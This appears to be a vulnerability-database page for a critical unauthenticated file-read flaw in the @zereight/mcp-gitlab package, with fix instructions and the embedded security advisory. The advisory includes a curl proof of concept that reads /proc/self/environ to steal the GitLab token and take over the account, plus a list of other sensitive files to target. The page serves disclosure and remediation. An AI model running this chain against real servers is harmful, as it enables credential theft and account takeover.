CVE-2026-61560: @zereight/mcp-gitlab Unauthenticated Arbitrary File Read Vulnerability
CRITICALCVE-2026-61560 is a CRITICAL (CVSS 9.8) unauthenticated arbitrary file read vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @zereight/mcp-gitlab libraries in the npm ecosystem. The issue involves unauthenticated arbitrary file read via `upload_markdown` enables pat exfiltration and full account takeover. Remediation is available by upgrading affected packages to version 2.1.27.
CVE-2026-61560 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-61560
To remediate this vulnerability, upgrade all affected @zereight/mcp-gitlab dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @zereight/mcp-gitlab@2.1.27
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @zereight/mcp-gitlab
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-61560, inspect your project dependencies using npm:
npm ls @zereight/mcp-gitlab
Analyze the terminal output to locate any version of @zereight/mcp-gitlab in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.27), your application is affected.
Note: The npm ls @zereight/mcp-gitlab command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @zereight/mcp-gitlab, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61560 Affected @zereight/mcp-gitlab Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@zereight/mcp-gitlab
|
npm |
< 2.1.27
|
2.1.27
|
References
Frequently Asked Questions
What is CVE-2026-61560?
Which @zereight/mcp-gitlab versions are affected?
What version fixes CVE-2026-61560?
Is @zereight/mcp-gitlab affected?
What is the CVSS score of CVE-2026-61560?
What CWE is associated with CVE-2026-61560?
How can I check npm dependencies for CVE-2026-61560?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cv3r-c5h8-f4g5",
"modified" : "2026-09-16T13:48:28Z",
"published" : "2026-09-16T13:48:28Z",
"aliases" : [ "CVE-2026-61560" ],
"summary" : "@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover",
"details" : "### Summary\n\nThe SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments.\n\n### Details\n\nTwo issues chain together:\n\n**1. No authentication on SSE transport (`src/index.ts:7350-7388`)**\n\nWhen `SSE=true` (the intended mode for Docker deployments per `docker-compose.yaml`), the `/sse` and `/messages` endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.\n\n```typescript\n// src/index.ts:7354 — no auth check\napp.get(\"/sse\", async (_: Request, res: Response) => {\n const serverInstance = createServer();\n const transport = new SSEServerTransport(\"/messages\", res);\n await serverInstance.connect(transport);\n});\n```\n\nRemote Authorization (`REMOTE_AUTHORIZATION=true`) is explicitly incompatible with SSE mode (`src/index.ts:1833-1839`), so there is no way to add per-request auth in this transport.\n\n**2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)**\n\nThe `upload_markdown` tool calls `fs.readFileSync(filePath)` where `filePath` comes directly from user input with no validation. The Zod schema (`src/schemas.ts:2150-2153`) defines `file_path` as `z.string()` with no path restrictions, allowlists, or sandboxing.\n\n```typescript\nasync function markdownUpload(projectId: string, filePath: string) {\n if (!fs.existsSync(filePath)) {\n throw new Error(`File not found: ${filePath}`);\n }\n const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation\n // ... uploads to GitLab project via POST /projects/:id/uploads\n}\n```\n\nThis tool is in the `users` toolset, which is **enabled by default**.\n\n**Docker amplification:** The `Dockerfile` has no `USER` directive, so the process runs as root. The `docker-compose.yaml` maps `3002:3002`, which binds `0.0.0.0` by default, exposing the unauthenticated endpoint to the network.\n\n### PoC\n\n**Prerequisites:**\n- A running `@zereight/mcp-gitlab` instance with `SSE=true` and `GITLAB_PERSONAL_ACCESS_TOKEN` set (this is the default Docker deployment config)\n- Network access to the server's port (default: 3002)\n- A GitLab project ID the PAT has write access to (use `list_projects` to enumerate)\n\n**Steps:**\n\n```bash\n# 1. Connect to the unauthenticated SSE endpoint and capture the session ID\nSESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\\K[^&\\s]+')\n\n# 2. (Optional) Enumerate accessible projects to find a writable project ID\ncurl -X POST \"http://<HOST>:3002/messages?sessionId=$SESSION_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"list_projects\",\n \"arguments\": {\"owned\": true}\n }\n }'\n\n# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)\n# and upload it to a GitLab project\ncurl -X POST \"http://<HOST>:3002/messages?sessionId=$SESSION_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"upload_markdown\",\n \"arguments\": {\n \"project_id\": \"<WRITABLE_PROJECT_ID>\",\n \"file_path\": \"/proc/self/environ\"\n }\n }\n }'\n\n# 4. The response contains a GitLab upload URL like:\n# {\"markdown\": \"\", \"url\": \"/uploads/abc123def456/environ\"}\n#\n# 5. Retrieve the uploaded file from GitLab:\ncurl \"https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ\"\n\n# 6. The file contains NUL-separated environment variables including:\n# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx\n#\n# 7. Use the stolen PAT for full GitLab API access:\ncurl -H \"Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx\" \"https://gitlab.example.com/api/v4/user\"\n```\n\n**Other exfiltrable targets (running as root in Docker):**\n\n| File | Contents |\n|---|---|\n| `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` |\n| `/proc/self/cmdline` | Command line args (token if passed via CLI) |\n| `/etc/shadow` | System password hashes |\n| `/app/build/index.js` | Full application source code |\n| `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |\n\n### Impact\n\n**Unauthenticated full GitLab account takeover.** Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@zereight/mcp-gitlab"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.27"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61560"
}, {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/pull/482"
}, {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/pull/554"
}, {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/pull/622"
}, {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/zereight/gitlab-mcp"
}, {
"type" : "WEB",
"url" : "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-16T13:48:28Z",
"nvd_published_at" : "2026-09-15T22:16:58Z"
}
}